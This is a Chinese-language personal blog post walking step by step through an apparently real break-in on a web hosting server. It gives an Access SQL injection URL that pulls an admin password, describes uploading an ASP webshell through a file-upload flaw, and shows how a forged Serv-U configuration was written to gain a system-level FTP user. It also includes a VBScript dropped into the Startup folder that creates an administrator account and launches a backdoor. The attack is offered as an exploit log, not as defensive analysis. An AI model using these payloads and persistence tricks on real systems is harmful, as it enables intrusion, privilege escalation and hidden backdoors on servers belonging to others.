前幾天聽一樹說了驚云下載系統(tǒng)的漏洞
問題文件出在admin/user.asp
提交
http://www.xxx.com/down/admin/user.asp?user=admin’ and asc(mid(pwd,1,1))>37 and ’1’=’1
就相當(dāng)于:
select * from UserInfo where user=’admin’ and asc(mid(pwd,1,1))>37 and ’1’=’1’" 利用access注入得到管理員密碼
上面有一個(gè)文件upfile.htm
手工利用了下動網(wǎng)的upfile.asp漏洞
就成功上傳了個(gè)asp木馬
然后那個(gè)虛擬主機(jī)的c，d盤是NTFS分區(qū)
不能訪問E盤裝著servu，php，webmail，
F盤是虛擬站點(diǎn)
servu安裝目錄可寫～
本來打算替換他servu文件的～但是覺的太麻煩
還容易讓管理員懷疑
想起servu的本地提升來了 在自己計(jì)算機(jī)上裝了個(gè)servu
添加了一個(gè)用戶，設(shè)置為系統(tǒng)管理員，目錄C:\，具有可執(zhí)行權(quán)限
然后去servu安裝目錄里看ServUDaemon.ini
格式是這樣的
[GLOBAL]
Version=5.0.0.11
LocalSetupPassword=072C63105200180D5C07170A7E3E
LocalSetupPortNo=60628
ProcessID=972
[DOMAINS]
Domain1=192.168.0.102||21|向?qū)Мa(chǎn)生域|1|0|0
Domain2=192.168.0.102||2121|123|2|0|0
[Domain1]
User1=www|1|0
[USER=www|1]
Password=ih0C292E1AC82920B7F384007F302A1296
HomeDir=D:\xiaoben
TimeOut=600
Note1="Wizard generated account"
Access1=D:\xiaoben|RLPWAMCD
SKEYValues=
[Domain2]
User1=rover|1|0
User2=123|1|0
[USER=rover|2]
Password=dx5D12C060F16C7166779414FA038E881D
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
SKEYValues=
[USER=123|2]
Password=kv3F6EED70340AD1478ADF95963A07FD00
HomeDir=c:\
TimeOut=600
Access1=C:\|RWAMLCDP
SKEYValues=
－－－－－－－－－－－－－－－－
其中rover用戶就是我添加的那個(gè)
在虛擬主機(jī)的網(wǎng)頁木馬上打開虛擬機(jī)的ServUDaemon.ini
訪照我本地的INI寫進(jìn)一個(gè)用戶進(jìn)去
User1=rover|1|0
[USER=rover|2]
Password=dx5D12C060F16C7166779414FA038E881D
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
SKEYValues=
保存～ 用我新建的用戶和密碼連接～
好的，還是連上了
ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //輸入構(gòu)造的用戶
331 User name okay, please send complete E-mail address as password.
Password:password //密碼
230 User logged in, proceed.
ftp> cd winnt //進(jìn)入win2k的winnt目錄，如果是winxp或者是windows server 2003就應(yīng)該為windows目錄。
250 Directory changed to /WINNT
ftp>cd system32 //進(jìn)入system32目錄
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系統(tǒng)的net.exe文件加用戶。
提示沒有權(quán)限～郁悶～
但是我們有對C盤的訪問權(quán)限了是不～hoho～
把后門（server.exe）傳他system32目錄
然后寫一個(gè)VBs教本
set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user tsinternetuser rover1234 /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators tsinternetuser /add",0)
b=wshshell.run ("cmd.exe /c net user tsinternetuser /active:yes",0)
b=wshshell.run ("cmd.exe /c server.exe",0) 存為HELP.vbe
這個(gè)教本的作用是修改tsinternetuser用戶密碼為rover1234
并且提升為管理員
然后執(zhí)行system32目錄下的server.exe
把這個(gè)教本傳他C:\Documents and Settings\All Users\「開始」菜單\程序\啟動
目錄
這樣管理員只要一登陸就會執(zhí)行那個(gè)教本～
接下來就是等了～
等他登陸～
等了一段時(shí)間（看了一部蜘蛛俠的時(shí)間吧）～
連接后門～得到admin權(quán)限的shell
hoho～
接下來是善后工作了～就不說了
今天心情非常糟～有一些事情壓的我喘不過氣來
考試的時(shí)候當(dāng)老師面把卷子撕了，然后揚(yáng)步走了～
媽媽的～過程寫的很亂～見諒

最新評論